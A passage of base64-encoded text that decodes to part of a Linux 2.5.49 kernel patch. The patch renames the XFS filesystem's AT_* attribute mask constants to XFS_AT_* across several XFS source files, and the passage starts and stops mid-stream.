MDc3NyAmIH5jdXJyZW50LT5mcy0+dW1hc2sgOiBTX0lSV1hVR087Ci0JdmEu dmFfbWFzayA9IEFUX1RZUEV8QVRfTU9ERTsKKwl2YS52YV9tYXNrID0gWEZT X0FUX1RZUEV8WEZTX0FUX01PREU7CiAKIAllcnJvciA9IDA7CiAJVk9QX1NZ TUxJTksoZHZwLCBkZW50cnksICZ2YSwgKGNoYXIgKilzeW1uYW1lLCAmY3Zw LCBOVUxMLCBlcnJvcik7CkBAIC00NjIsMzEgKzQ2MiwzMSBAQAogCiAJbWVt c2V0KCZ2YXR0ciwgMCwgc2l6ZW9mKHZhdHRyX3QpKTsKIAlpZiAoaWFfdmFs aWQgJiBBVFRSX1VJRCkgewotCQl2YXR0ci52YV9tYXNrIHw9IEFUX1VJRDsK KwkJdmF0dHIudmFfbWFzayB8PSBYRlNfQVRfVUlEOwogCQl2YXR0ci52YV91 aWQgPSBhdHRyLT5pYV91aWQ7CiAJfQogCWlmIChpYV92YWxpZCAmIEFUVFJf R0lEKSB7Ci0JCXZhdHRyLnZhX21hc2sgfD0gQVRfR0lEOworCQl2YXR0ci52 YV9tYXNrIHw9IFhGU19BVF9HSUQ7CiAJCXZhdHRyLnZhX2dpZCA9IGF0dHIt PmlhX2dpZDsKIAl9CiAJaWYgKGlhX3ZhbGlkICYgQVRUUl9TSVpFKSB7Ci0J CXZhdHRyLnZhX21hc2sgfD0gQVRfU0laRTsKKwkJdmF0dHIudmFfbWFzayB8 PSBYRlNfQVRfU0laRTsKIAkJdmF0dHIudmFfc2l6ZSA9IGF0dHItPmlhX3Np emU7CiAJfQogCWlmIChpYV92YWxpZCAmIEFUVFJfQVRJTUUpIHsKLQkJdmF0 dHIudmFfbWFzayB8PSBBVF9BVElNRTsKKwkJdmF0dHIudmFfbWFzayB8PSBY RlNfQVRfQVRJTUU7CiAJCXZhdHRyLnZhX2F0aW1lID0gYXR0ci0+aWFfYXRp bWU7CiAJfQogCWlmIChpYV92YWxpZCAmIEFUVFJfTVRJTUUpIHsKLQkJdmF0 dHIudmFfbWFzayB8PSBBVF9NVElNRTsKKwkJdmF0dHIudmFfbWFzayB8PSBY RlNfQVRfTVRJTUU7CiAJCXZhdHRyLnZhX210aW1lID0gYXR0ci0+aWFfbXRp bWU7CiAJfQogCWlmIChpYV92YWxpZCAmIEFUVFJfQ1RJTUUpIHsKLQkJdmF0 dHIudmFfbWFzayB8PSBBVF9DVElNRTsKKwkJdmF0dHIudmFfbWFzayB8PSBY RlNfQVRfQ1RJTUU7CiAJCXZhdHRyLnZhX2N0aW1lID0gYXR0ci0+aWFfY3Rp bWU7CiAJfQogCWlmIChpYV92YWxpZCAmIEFUVFJfTU9ERSkgewotCQl2YXR0 ci52YV9tYXNrIHw9IEFUX01PREU7CisJCXZhdHRyLnZhX21hc2sgfD0gWEZT X0FUX01PREU7CiAJCXZhdHRyLnZhX21vZGUgPSBhdHRyLT5pYV9tb2RlOwog CQlpZiAoIWluX2dyb3VwX3AoaW5vZGUtPmlfZ2lkKSAmJiAhY2FwYWJsZShD QVBfRlNFVElEKSkKIAkJCWlub2RlLT5pX21vZGUgJj0gflNfSVNHSUQ7CmRp ZmYgLXVyIC0tZXhjbHVkZT1hdXRvY29uZi5oIC0tZXhjbHVkZT0nKmRpZmYn IC0tZXhjbHVkZT1jb21waWxlX2xvZyAtLWV4Y2x1ZGU9eGZzX2Vycm9yIC0t ZXhjbHVkZT14ZnNfbG9nIC0tZXhjbHVkZT1lcnJvciAtLWV4Y2x1ZGU9LmNv bmZpZyAtLWV4Y2x1ZGU9JyouY21kJyBsaW51cy0yLjUuNDkvZnMveGZzL2xp bnV4L3hmc192bm9kZS5jIGxpbnV4LTIuNS40OS9mcy94ZnMvbGludXgveGZz X3Zub2RlLmMKLS0tIGxpbnVzLTIuNS40OS9mcy94ZnMvbGludXgveGZzX3Zu b2RlLmMJMjAwMi0xMS0yMiAyMjoyOTo1My4wMDAwMDAwMDAgLTAyMDAKKysr IGxpbnV4LTIuNS40OS9mcy94ZnMvbGludXgveGZzX3Zub2RlLmMJMjAwMi0x MS0yMyAwMDozMDo1NC4wMDAwMDAwMDAgLTAyMDAKQEAgLTIwMCw3ICsyMDAs NyBAQAogCiAJdm5fdHJhY2VfZW50cnkodnAsICJ2bl9yZXZhbGlkYXRlIiwg KGluc3RfdCAqKV9fcmV0dXJuX2FkZHJlc3MpOwogCi0JdmEudmFfbWFzayA9 IEFUX1NUQVR8QVRfR0VOQ09VTlQ7CisJdmEudmFfbWFzayA9IFhGU19BVF9T VEFUfFhGU19BVF9HRU5DT1VOVDsKIAogCUFTU0VSVCh2cC0+dl9iaC5iaF9m aXJzdCAhPSBOVUxMKTsKIApkaWZmIC11ciAtLWV4Y2x1ZGU9YXV0b2NvbmYu aCAtLWV4Y2x1ZGU9JypkaWZmJyAtLWV4Y2x1ZGU9Y29tcGlsZV9sb2cgLS1l eGNsdWRlPXhmc19lcnJvciAtLWV4Y2x1ZGU9eGZzX2xvZyAtLWV4Y2x1ZGU9 ZXJyb3IgLS1leGNsdWRlPS5jb25maWcgLS1leGNsdWRlPScqLmNtZCcgbGlu dXMtMi41LjQ5L2ZzL3hmcy9saW51eC94ZnNfdm5vZGUuaCBsaW51eC0yLjUu NDkvZnMveGZzL2xpbnV4L3hmc192bm9kZS5oCi0tLSBsaW51cy0yLjUuNDkv ZnMveGZzL2xpbnV4L3hmc192bm9kZS5oCTIwMDItMTEtMTEgMjM6NTc6MDcu MDAwMDAwMDAwIC0wMjAwCisrKyBsaW51eC0yLjUuNDkvZnMveGZzL2xpbnV4 L3hmc192bm9kZS5oCTIwMDItMTEtMjMgMDA6Mzc6MjQuMDAwMDAwMDAwIC0w MjAwCkBAIC01NDEsNTMgKzU0MSw1MyBAQAogLyoKICAqIHNldGF0dHIgb3Ig Z2V0YXR0ciBhdHRyaWJ1dGVzCiAgKi8KLSNkZWZpbmUgQVRfVFlQRQkJMHgw MDAwMDAwMQotI2RlZmluZSBBVF9NT0RFCQkweDAwMDAwMDAyCi0jZGVmaW5l IEFUX1VJRAkJMHgwMDAwMDAwNAotI2RlZmluZSBBVF9HSUQJCTB4MDAwMDAw MDgKLSNkZWZpbmUgQVRfRlNJRAkJMHgwMDAwMDAxMAotI2RlZmluZSBBVF9O T0RFSUQJMHgwMDAwMDAyMAotI2RlZmluZSBBVF9OTElOSwkweDAwMDAwMDQw Ci0jZGVmaW5lIEFUX1NJWkUJCTB4MDAwMDAwODAKLSNkZWZpbmUgQVRfQVRJ TUUJMHgwMDAwMDEwMAotI2RlZmluZSBBVF9NVElNRQkweDAwMDAwMjAwCi0j ZGVmaW5lIEFUX0NUSU1FCTB4MDAwMDA0MDAKLSNkZWZpbmUgQVRfUkRFVgkJ MHgwMDAwMDgwMAotI2RlZmluZSBBVF9CTEtTSVpFCTB4MDAwMDEwMDAKLSNk ZWZpbmUgQVRfTkJMT0NLUwkweDAwMDAyMDAwCi0jZGVmaW5lIEFUX1ZDT0RF CTB4MDAwMDQwMDAKLSNkZWZpbmUgQVRfTUFDCQkweDAwMDA4MDAwCi0jZGVm aW5lIEFUX1VQREFUSU1FCTB4MDAwMTAwMDAKLSNkZWZpbmUgQVRfVVBETVRJ TUUJMHgwMDAyMDAwMAotI2RlZmluZSBBVF9VUERDVElNRQkweDAwMDQwMDAw Ci0jZGVmaW5lIEFUX0FDTAkJMHgwMDA4MDAwMAotI2RlZmluZSBBVF9DQVAJ CTB4MDAxMDAwMDAKLSNkZWZpbmUgQVRfSU5GCQkweDAwMjAwMDAwCi0jZGVm aW5lIEFUX1hGTEFHUwkweDAwNDAwMDAwCi0jZGVmaW5lIEFUX0VYVFNJWkUJ MHgwMDgwMDAwMAotI2RlZmluZSBBVF9ORVhURU5UUwkweDAxMDAwMDAwCi0j ZGVmaW5lIEFUX0FORVhURU5UUwkweDAyMDAwMDAwCi0jZGVmaW5lIEFUX1BS T0pJRAkweDA0MDAwMDAwCi0jZGVmaW5lIEFUX1NJWkVfTk9QRVJNCTB4MDgw MDAwMDAKLSNkZWZpbmUgQVRfR0VOQ09VTlQJMHgxMDAwMDAwMAotCi0jZGVm aW5lIEFUX0FMTAkoQVRfVFlQRXxBVF9NT0RFfEFUX1VJRHxBVF9HSUR8QVRf RlNJRHxBVF9OT0RFSUR8XAotCQlBVF9OTElOS3xBVF9TSVpFfEFUX0FUSU1F fEFUX01USU1FfEFUX0NUSU1FfEFUX1JERVZ8XAotCQlBVF9CTEtTSVpFfEFU X05CTE9DS1N8QVRfVkNPREV8QVRfTUFDfEFUX0FDTHxBVF9DQVB8XAotCQlB VF9JTkZ8QVRfWEZMQUdTfEFUX0VYVFNJWkV8QVRfTkVYVEVOVFN8QVRfQU5F WFRFTlRTfFwKLQkJQVRfUFJPSklEfEFUX0dFTkNPVU5UKQotCi0jZGVmaW5l IEFUX1NUQVQgKEFUX1RZUEV8QVRfTU9ERXxBVF9VSUR8QVRfR0lEfEFUX0ZT SUR8QVRfTk9ERUlEfEFUX05MSU5LfFwKLQkJQVRfU0laRXxBVF9BVElNRXxB VF9NVElNRXxBVF9DVElNRXxBVF9SREVWfEFUX0JMS1NJWkV8XAotCQlBVF9O QkxPQ0tTfEFUX1BST0pJRCkKLQotI2RlZmluZSBBVF9USU1FUyAoQVRfQVRJ TUV8QVRfTVRJTUV8QVRfQ1RJTUUpCi0KLSNkZWZpbmUgQVRfVVBEVElNRVMg KEFUX1VQREFUSU1FfEFUX1VQRE1USU1FfEFUX1VQRENUSU1FKQotCi0jZGVm aW5lIEFUX05PU0VUIChBVF9OTElOS3xBVF9SREVWfEFUX0ZTSUR8QVRfTk9E RUlEfEFUX1RZUEV8XAotCQkgQVRfQkxLU0laRXxBVF9OQkxPQ0tTfEFUX1ZD T0RFfEFUX05FWFRFTlRTfEFUX0FORVhURU5UU3xcCi0JCSBBVF9HRU5DT1VO VCkKKyNkZWZpbmUgWEZTX0FUX1RZUEUJCTB4MDAwMDAwMDEKKyNkZWZpbmUg WEZTX0FUX01PREUJCTB4MDAwMDAwMDIKKyNkZWZpbmUgWEZTX0FUX1VJRAkJ MHgwMDAwMDAwNAorI2RlZmluZSBYRlNfQVRfR0lECQkweDAwMDAwMDA4Cisj ZGVmaW5lIFhGU19BVF9GU0lECQkweDAwMDAwMDEwCisjZGVmaW5lIFhGU19B VF9OT0RFSUQJMHgwMDAwMDAyMAorI2RlZmluZSBYRlNfQVRfTkxJTksJMHgw MDAwMDA0MAorI2RlZmluZSBYRlNfQVRfU0laRQkJMHgwMDAwMDA4MAorI2Rl ZmluZSBYRlNfQVRfQVRJTUUJMHgwMDAwMDEwMAorI2RlZmluZSBYRlNfQVRf TVRJTUUJMHgwMDAwMDIwMAorI2RlZmluZSBYRlNfQVRfQ1RJTUUJMHgwMDAw MDQwMAorI2RlZmluZSBYRlNfQVRfUkRFVgkJMHgwMDAwMDgwMAorI2RlZmlu ZSBYRlNfQVRfQkxLU0laRQkweDAwMDAxMDAwCisjZGVmaW5lIFhGU19BVF9O QkxPQ0tTCTB4MDAwMDIwMDAKKyNkZWZpbmUgWEZTX0FUX1ZDT0RFCTB4MDAw MDQwMDAKKyNkZWZpbmUgWEZTX0FUX01BQwkJMHgwMDAwODAwMAorI2RlZmlu ZSBYRlNfQVRfVVBEQVRJTUUJMHgwMDAxMDAwMAorI2RlZmluZSBYRlNfQVRf VVBETVRJTUUJMHgwMDAyMDAwMAorI2RlZmluZSBYRlNfQVRfVVBEQ1RJTUUJ MHgwMDA0MDAwMAorI2RlZmluZSBYRlNfQVRfQUNMCQkweDAwMDgwMDAwCisj ZGVmaW5lIFhGU19BVF9DQVAJCTB4MDAxMDAwMDAKKyNkZWZpbmUgWEZTX0FU X0lORgkJMHgwMDIwMDAwMAorI2RlZmluZSBYRlNfQVRfWEZMQUdTCTB4MDA0 MDAwMDAKKyNkZWZpbmUgWEZTX0FUX0VYVFNJWkUJMHgwMDgwMDAwMAorI2Rl ZmluZSBYRlNfQVRfTkVYVEVOVFMJMHgwMTAwMDAwMAorI2RlZmluZSBYRlNf QVRfQU5FWFRFTlRTCTB4MDIwMDAwMDAKKyNkZWZpbmUgWEZTX0FUX1BST0pJ RAkweDA0MDAwMDAwCisjZGVmaW5lIFhGU19BVF9TSVpFX05PUEVSTQkweDA4 MDAwMDAwCisjZGVmaW5lIFhGU19BVF9HRU5DT1VOVAkweDEwMDAwMDAwCisK KyNkZWZpbmUgWEZTX0FUX0FMTCAoWEZTX0FUX1RZUEV8WEZTX0FUX01PREV8 WEZTX0FUX1VJRHxYRlNfQVRfR0lEfFhGU19BVF9GU0lEfFwKKwkJWEZTX0FU X05PREVJRHxYRlNfQVRfTkxJTkt8WEZTX0FUX1NJWkV8WEZTX0FUX0FUSU1F fFhGU19BVF9NVElNRXxcCisJCVhGU19BVF9DVElNRXxYRlNfQVRfUkRFVnxY RlNfQVRfQkxLU0laRXxYRlNfQVRfTkJMT0NLU3xYRlNfQVRfVkNPREV8XAor CQlYRlNfQVRfTUFDfFhGU19BVF9BQ0x8WEZTX0FUX0NBUHxYRlNfQVRfSU5G fFhGU19BVF9YRkxBR1N8WEZTX0FUX0VYVFNJWkV8XAorCQlYRlNfQVRfTkVY VEVOVFN8WEZTX0FUX0FORVhURU5UU3xYRlNfQVRfUFJPSklEfFhGU19BVF9H RU5DT1VOVCkKKworI2RlZmluZSBYRlNfQVRfU1RBVCAoWEZTX0FUX1RZUEV8 WEZTX0FUX01PREV8WEZTX0FUX1VJRHxYRlNfQVRfR0lEfFhGU19BVF9GU0lE fFwKKwkJWEZTX0FUX05PREVJRHxYRlNfQVRfTkxJTkt8WEZTX0FUX1NJWkV8 WEZTX0FUX0FUSU1FfFhGU19BVF9NVElNRXxcCisJCVhGU19BVF9DVElNRXxY RlNfQVRfUkRFVnxYRlNfQVRfQkxLU0laRXxYRlNfQVRfTkJMT0NLU3xYRlNf QVRfUFJPSklEKQorCisjZGVmaW5lIFhGU19BVF9USU1FUyAoWEZTX0FUX0FU SU1FfFhGU19BVF9NVElNRXxYRlNfQVRfQ1RJTUUpCisKKyNkZWZpbmUgWEZT X0FUX1VQRFRJTUVTIChYRlNfQVRfVVBEQVRJTUV8WEZTX0FUX1VQRE1USU1F fFhGU19BVF9VUERDVElNRSkKKworI2RlZmluZSBYRlNfQVRfTk9TRVQgKFhG U19BVF9OTElOS3xYRlNfQVRfUkRFVnxYRlNfQVRfRlNJRHxYRlNfQVRfTk9E RUlEfFwKKwkJIFhGU19BVF9UWVBFfFhGU19BVF9CTEtTSVpFfFhGU19BVF9O QkxPQ0tTfFhGU19BVF9WQ09ERXxcCisJCSBYRlNfQVRfTkVYVEVOVFN8WEZT X0FUX0FORVhURU5UU3xYRlNfQVRfR0VOQ09VTlQpCiAKICNkZWZpbmUgVlJF QUQJCTAwNDAwCiAjZGVmaW5lIFZXUklURQkJMDAyMDAKZGlmZiAtdXIgLS1l eGNsdWRlPWF1dG9jb25mLmggLS1leGNsdWRlPScqZGlmZicgLS1leGNsdWRl PWNvbXBpbGVfbG9nIC0tZXhjbHVkZT14ZnNfZXJyb3IgLS1leGNsdWRlPXhm c19sb2cgLS1leGNsdWRlPWVycm9yIC0tZXhjbHVkZT0uY29uZmlnIC0tZXhj bHVkZT0nKi5jbWQnIGxpbnVzLTIuNS40OS9mcy94ZnMveGZzX2FjbC5jIGxp bnV4LTIuNS40OS9mcy94ZnMveGZzX2FjbC5jCi0tLSBsaW51cy0yLjUuNDkv ZnMveGZzL3hmc19hY2wuYwkyMDAyLTExLTExIDIzOjU3OjA3LjAwMDAwMDAw MCAtMDIwMAorKysgbGludXgtMi41LjQ5L2ZzL3hmcy94ZnNfYWNsLmMJMjAw Mi0xMS0yMyAwMDozMDo1NC4wMDAwMDAwMDAgLTAyMDAKQEAgLTIzNSw3ICsy MzUsNyBAQAogCQlpZiAoa2luZCA9PSBfQUNMX1RZUEVfQUNDRVNTKSB7CiAJ CQl2YXR0cl90IHZhOwogCi0JCQl2YS52YV9tYXNrID0gQVRfTU9ERTsKKwkJ CXZhLnZhX21hc2sgPSBYRlNfQVRfTU9ERTsKIAkJCVZPUF9HRVRBVFRSKHZw LCAmdmEsIDAsIHN5c19jcmVkLCBlcnJvcik7CiAJCQlpZiAoZXJyb3IpCiAJ CQkJZ290byBvdXQ7CkBAIC0zNzIsNyArMzcyLDcgQEAKIAkJcmV0dXJuIEVS T0ZTOwogCWlmICgoZXJyb3IgPSBfTUFDX1ZBQ0NFU1ModnAsIE5VTEwsIFZX UklURSkpKQogCQlyZXR1cm4gZXJyb3I7Ci0JdmEudmFfbWFzayA9IEFUX1VJ RDsKKwl2YS52YV9tYXNrID0gWEZTX0FUX1VJRDsKIAlWT1BfR0VUQVRUUih2 cCwgJnZhLCAwLCBOVUxMLCBlcnJvcik7CiAJaWYgKGVycm9yKQogCQlyZXR1 cm4gZXJyb3I7CkBAIC03MDIsNyArNzAyLDcgQEAKIAkJeGZzX2FjbF9nZXRf YXR0cih2cCwgYWNjZXNzX2FjbCwgX0FDTF9UWVBFX0FDQ0VTUywgMCwgJmVy cm9yKTsKIAkJaWYgKCFlcnJvcikgewogCQkJLyogR290IHRoZSBBQ0wsIG5l ZWQgdGhlIG1vZGUuLi4gKi8KLQkJCXZhLnZhX21hc2sgPSBBVF9NT0RFOwor CQkJdmEudmFfbWFzayA9IFhGU19BVF9NT0RFOwogCQkJVk9QX0dFVEFUVFIo dnAsICZ2YSwgMCwgc3lzX2NyZWQsIGVycm9yKTsKIAkJfQogCkBAIC04MDAs MTIgKzgwMCwxMiBAQAogCSAqIENvcHkgdGhlIHU6OiwgZzo6LCBvOjosIGFu ZCBtOjogYml0cyBmcm9tIHRoZSBBQ0wgaW50byB0aGUKIAkgKiBtb2RlLiAg VGhlIG06OiBiaXRzIHRha2UgcHJlY2VkZW5jZSBvdmVyIHRoZSBnOjogYml0 cy4KIAkgKi8KLQl2YS52YV9tYXNrID0gQVRfTU9ERTsKKwl2YS52YV9tYXNr ID0gWEZTX0FUX01PREU7CiAJVk9QX0dFVEFUVFIodnAsICZ2YSwgMCwgc3lz X2NyZWQsIGVycm9yKTsKIAlpZiAoZXJyb3IpCiAJCXJldHVybiBlcnJvcjsK IAotCXZhLnZhX21hc2sgPSBBVF9NT0RFOworCXZhLnZhX21hc2sgPSBYRlNf QVRfTU9ERTsKIAl2YS52YV9tb2RlICY9IH4oU19JUldYVXxTX0lSV1hHfFNf SVJXWE8pOwogCWFwID0gYWNsLT5hY2xfZW50cnk7CiAJZm9yIChpID0gMDsg aSA8IGFjbC0+YWNsX2NudDsgKytpKSB7CmRpZmYgLXVyIC0tZXhjbHVkZT1h dXRvY29uZi5oIC0tZXhjbHVkZT0nKmRpZmYnIC0tZXhjbHVkZT1jb21waWxl X2xvZyAtLWV4Y2x1ZGU9eGZzX2Vycm9yIC0tZXhjbHVkZT14ZnNfbG9nIC0t ZXhjbHVkZT1lcnJvciAtLWV4Y2x1ZGU9LmNvbmZpZyAtLWV4Y2x1ZGU9Jyou Y21kJyBsaW51cy0yLjUuNDkvZnMveGZzL3hmc19jYXAuYyBsaW51eC0yLjUu NDkvZnMveGZzL3hmc19jYXAuYwotLS0gbGludXMtMi41LjQ5L2ZzL3hmcy94 ZnNfY2FwLmMJMjAwMi0xMS0wNCAyMDozMDoyNS4wMDAwMDAwMDAgLTAyMDAK KysrIGxpbnV4LTIuNS40OS9mcy94ZnMveGZzX2NhcC5jCTIwMDItMTEtMjMg MDA6MzA6NTQuMDAwMDAwMDAwIC0wMjAwCkBAIC0xOTIsNyArMTkyLDcgQEAK IAkJcmV0dXJuIEVST0ZTOwogCWlmICgoZXJyb3IgPSBfTUFDX1ZBQ0NFU1Mo dnAsIE5VTEwsIFZXUklURSkpKQogCQlyZXR1cm4gZXJyb3I7Ci0JdmEudmFf bWFzayA9IEFUX1VJRDsKKwl2YS52YV9tYXNrID0gWEZTX0FUX1VJRDsKIAlW T1BfR0VUQVRUUih2cCwgJnZhLCAwLCBOVUxMLCBlcnJvcik7CiAJaWYgKGVy cm9yKQogCQlyZXR1cm4gZXJyb3I7CmRpZmYgLXVyIC0tZXhjbHVkZT1hdXRv Y29uZi5oIC0tZXhjbHVkZT0nKmRpZmYnIC0tZXhjbHVkZT1jb21waWxlX2xv ZyAtLWV4Y2x1ZGU9eGZzX2Vycm9yIC0tZXhjbHVkZT14ZnNfbG9nIC0tZXhj bHVkZT1lcnJvciAtLWV4Y2x1ZGU9LmNvbmZpZyAtLWV4Y2x1ZGU9JyouY21k JyBsaW51cy0yLjUuNDkvZnMveGZzL3hmc19xbS5jIGxpbnV4LTIuNS40OS9m cy94ZnMveGZzX3FtLmMKLS0tIGxpbnVzLTIuNS40OS9mcy94ZnMveGZzX3Ft LmMJMjAwMi0xMS0xMSAyMzo1NzowOC4wMDAwMDAwMDAgLTAyMDAKKysrIGxp bnV4LTIuNS40OS9mcy94ZnMveGZzX3FtLmMJMjAwMi0xMS0yMyAwMDozMDo1 NC4wMDAwMDAwMDAgLTAyMDAKQEAgLTI2MzksNyArMjYzOSw3IEBACiB9CiAK IC8qCi0gKiBRdW90YSByZXNlcnZhdGlvbnMgZm9yIHNldGF0dHIoQVRfVUlE fEFUX0dJRCkuCisgKiBRdW90YSByZXNlcnZhdGlvbnMgZm9yIHNldGF0dHIo WEZTX0FUX1VJRHxYRlNfQVRfR0lEKS4KICAqLwogaW50CiB4ZnNfcW1fdm9w X2Nob3duX3Jlc2VydmUoCmRpZmYgLXVyIC0tZXhjbHVkZT1hdXRvY29uZi5o IC0tZXhjbHVkZT0nKmRpZmYnIC0tZXhjbHVkZT1jb21waWxlX2xvZyAtLWV4 Y2x1ZGU9eGZzX2Vycm9yIC0tZXhjbHVkZT14ZnNfbG9nIC0tZXhjbHVkZT1l cnJvciAtLWV4Y2x1ZGU9LmNvbmZpZyAtLWV4Y2x1ZGU9JyouY21kJyBsaW51 cy0yLjUuNDkvZnMveGZzL3hmc192bm9kZW9wcy5jIGxpbnV4LTIuNS40OS9m cy94ZnMveGZzX3Zub2Rlb3BzLmMKLS0tIGxpbnVzLTIuNS40OS9mcy94ZnMv eGZzX3Zub2Rlb3BzLmMJMjAwMi0xMS0xMSAyMzo1NzowOC4wMDAwMDAwMDAg LTAyMDAKKysrIGxpbnV4LTIuNS40OS9mcy94ZnMveGZzX3Zub2Rlb3BzLmMJ MjAwMi0xMS0yMyAxMjo1MTowNC4wMDAwMDAwMDAgLTAyMDAKQEAgLTExOSw3 ICsxMTksNyBAQAogCQl4ZnNfaWxvY2soaXAsIFhGU19JTE9DS19TSEFSRUQp OwogCiAJdmFwLT52YV9zaXplID0gaXAtPmlfZC5kaV9zaXplOwotCWlmICh2 YXAtPnZhX21hc2sgPT0gQVRfU0laRSkgeworCWlmICh2YXAtPnZhX21hc2sg PT0gWEZTX0FUX1NJWkUpIHsKIAkJaWYgKCEoZmxhZ3MgJiBBVFRSX0xBWlkp KQogCQkJeGZzX2l1bmxvY2soaXAsIFhGU19JTE9DS19TSEFSRUQpOwogCQly ZXR1cm4gMDsKQEAgLTEzNyw3ICsxMzcsOCBAQAogCS8qCiAJICogUXVpY2sg ZXhpdCBmb3Igbm9uLXN0YXQgY2FsbGVycwogCSAqLwotCWlmICgodmFwLT52 YV9tYXNrICYgfihBVF9TSVpFfEFUX0ZTSUR8QVRfTk9ERUlEfEFUX05MSU5L KSkgPT0gMCkgeworCWlmICgodmFwLT52YV9tYXNrICYgCisJCSB+KFhGU19B VF9TSVpFfFhGU19BVF9GU0lEfFhGU19BVF9OT0RFSUR8WEZTX0FUX05MSU5L KSkgPT0gMCkgewogCQlpZiAoIShmbGFncyAmIEFUVFJfTEFaWSkpCiAJCQl4 ZnNfaXVubG9jayhpcCwgWEZTX0lMT0NLX1NIQVJFRCk7CiAJCXJldHVybiAw OwpAQCAtMjI0LDggKzIyNSw4IEBACiAJICogdG8gYmUgZmlsbGVkIGluIGFy ZSBuZWVkZWQuCiAJICovCiAJaWYgKCh2YXAtPnZhX21hc2sgJgotCSAgICAg KEFUX1hGTEFHU3xBVF9FWFRTSVpFfEFUX05FWFRFTlRTfEFUX0FORVhURU5U U3wKLQkgICAgICBBVF9HRU5DT1VOVHxBVF9WQ09ERSkpID09IDApIHsKKwkg ICAgIChYRlNfQVRfWEZMQUdTfFhGU19BVF9FWFRTSVpFfFhGU19BVF9ORVhU RU5UU3xYRlNfQVRfQU5FWFRFTlRTfAorCSAgICAgIFhGU19BVF9HRU5DT1VO VHxYRlNfQVRfVkNPREUpKSA9PSAwKSB7CiAJCWlmICghKGZsYWdzICYgQVRU Ul9MQVpZKSkKIAkJCXhmc19pdW5sb2NrKGlwLCBYRlNfSUxPQ0tfU0hBUkVE KTsKIAkJcmV0dXJuIDA7CkBAIC0yOTQsNyArMjk1LDcgQEAKIAkgKiBDYW5u b3Qgc2V0IGNlcnRhaW4gYXR0cmlidXRlcy4KIAkgKi8KIAltYXNrID0gdmFw LT52YV9tYXNrOwotCWlmIChtYXNrICYgQVRfTk9TRVQpIHsKKwlpZiAobWFz ayAmIFhGU19BVF9OT1NFVCkgewogCQlyZXR1cm4gWEZTX0VSUk9SKEVJTlZB TCk7CiAJfQogCkBAIC0zMDgsMTEgKzMwOSwxMSBAQAogCSAqIFRpbWVzdGFt cHMgZG8gbm90IG5lZWQgdG8gYmUgbG9nZ2VkIGFuZCBoZW5jZSBkbyBub3QK IAkgKiBuZWVkIHRvIGJlIGRvbmUgd2l0aGluIGEgdHJhbnNhY3Rpb24uCiAJ ICovCi0JaWYgKG1hc2sgJiBBVF9VUERUSU1FUykgeworCWlmIChtYXNrICYg WEZTX0FUX1VQRFRJTUVTKSB7CiAJCUFTU0VSVCgobWFzayAmIH5BVF9VUERU SU1FUykgPT0gMCk7Ci0JCXRpbWVmbGFncyA9ICgobWFzayAmIEFUX1VQREFU SU1FKSA/IFhGU19JQ0hHVElNRV9BQ0MgOiAwKSB8Ci0JCQkgICAgKChtYXNr ICYgQVRfVVBEQ1RJTUUpID8gWEZTX0lDSEdUSU1FX0NIRyA6IDApIHwKLQkJ CSAgICAoKG1hc2sgJiBBVF9VUERNVElNRSkgPyBYRlNfSUNIR1RJTUVfTU9E IDogMCk7CisJCXRpbWVmbGFncyA9ICgobWFzayAmIFhGU19BVF9VUERBVElN RSkgPyBYRlNfSUNIR1RJTUVfQUNDIDogMCkgfAorCQkJICAgICgobWFzayAm IFhGU19BVF9VUERDVElNRSkgPyBYRlNfSUNIR1RJTUVfQ0hHIDogMCkgfAor CQkJICAgICgobWFzayAmIFhGU19BVF9VUERNVElNRSkgPyBYRlNfSUNIR1RJ TUVfTU9EIDogMCk7CiAJCXhmc19pY2hndGltZShpcCwgdGltZWZsYWdzKTsK IAkJcmV0dXJuIDA7CiAJfQpAQCAtMzI4LDE1ICszMjksMTUgQEAKIAkgKiBJ ZiB0aGUgSURzIGRvIGNoYW5nZSBiZWZvcmUgd2UgdGFrZSB0aGUgaWxvY2ss IHdlJ3JlIGNvdmVyZWQKIAkgKiBiZWNhdXNlIHRoZSBpXypkcXVvdCBmaWVs ZHMgd2lsbCBnZXQgdXBkYXRlZCBhbnl3YXkuCiAJICovCi0JaWYgKFhGU19J U19RVU9UQV9PTihtcCkgJiYgKG1hc2sgJiAoQVRfVUlEfEFUX0dJRCkpKSB7 CisJaWYgKFhGU19JU19RVU9UQV9PTihtcCkgJiYgKG1hc2sgJiAoWEZTX0FU X1VJRHxYRlNfQVRfR0lEKSkpIHsKIAkJcWZsYWdzID0gMDsKLQkJaWYgKG1h c2sgJiBBVF9VSUQpIHsKKwkJaWYgKG1hc2sgJiBYRlNfQVRfVUlEKSB7CiAJ CQl1aWQgPSB2YXAtPnZhX3VpZDsKIAkJCXFmbGFncyB8PSBYRlNfUU1PUFRf VVFVT1RBOwogCQl9IGVsc2UgewogCQkJdWlkID0gaXAtPmlfZC5kaV91aWQ7 CiAJCX0KLQkJaWYgKG1hc2sgJiBBVF9HSUQpIHsKKwkJaWYgKG1hc2sgJiBY RlNfQVRfR0lEKSB7CiAJCQlnaWQgPSB2YXAtPnZhX2dpZDsKIAkJCXFmbGFn cyB8PSBYRlNfUU1PUFRfR1FVT1RBOwogCQl9ICBlbHNlIHsKQEAgLTM2MCw4 ICszNjEsOCBAQAogCSAqLwogCXRwID0gTlVMTDsKIAlsb2NrX2ZsYWdzID0g WEZTX0lMT0NLX0VYQ0w7Ci0JaWYgKCEobWFzayAmIEFUX1NJWkUpKSB7Ci0J CWlmICgobWFzayAhPSAoQVRfQ1RJTUV8QVRfQVRJTUV8QVRfTVRJTUUpKSB8 fAorCWlmICghKG1hc2sgJiBYRlNfQVRfU0laRSkpIHsKKwkJaWYgKChtYXNr ICE9IChYRlNfQVRfQ1RJTUV8WEZTX0FUX0FUSU1FfFhGU19BVF9NVElNRSkp IHx8CiAJCSAgICAobXAtPm1fZmxhZ3MgJiBYRlNfTU9VTlRfV1NZTkMpKSB7 CiAJCQl0cCA9IHhmc190cmFuc19hbGxvYyhtcCwgWEZTX1RSQU5TX1NFVEFU VFJfTk9UX1NJWkUpOwogCQkJY29tbWl0X2ZsYWdzID0gMDsKQEAgLTQwMCw3 ICs0MDEsOCBAQAogCSAqIE9ubHkgdGhlIG93bmVyIG9yIHVzZXJzIHdpdGgg Q0FQX0ZPV05FUgogCSAqIGNhcGFiaWxpdHkgbWF5IGRvIHRoZXNlIHRoaW5n cy4KIAkgKi8KLQlpZiAobWFzayAmIChBVF9NT0RFfEFUX1hGTEFHU3xBVF9F WFRTSVpFfEFUX1VJRHxBVF9HSUR8QVRfUFJPSklEKSkgeworCWlmIChtYXNr 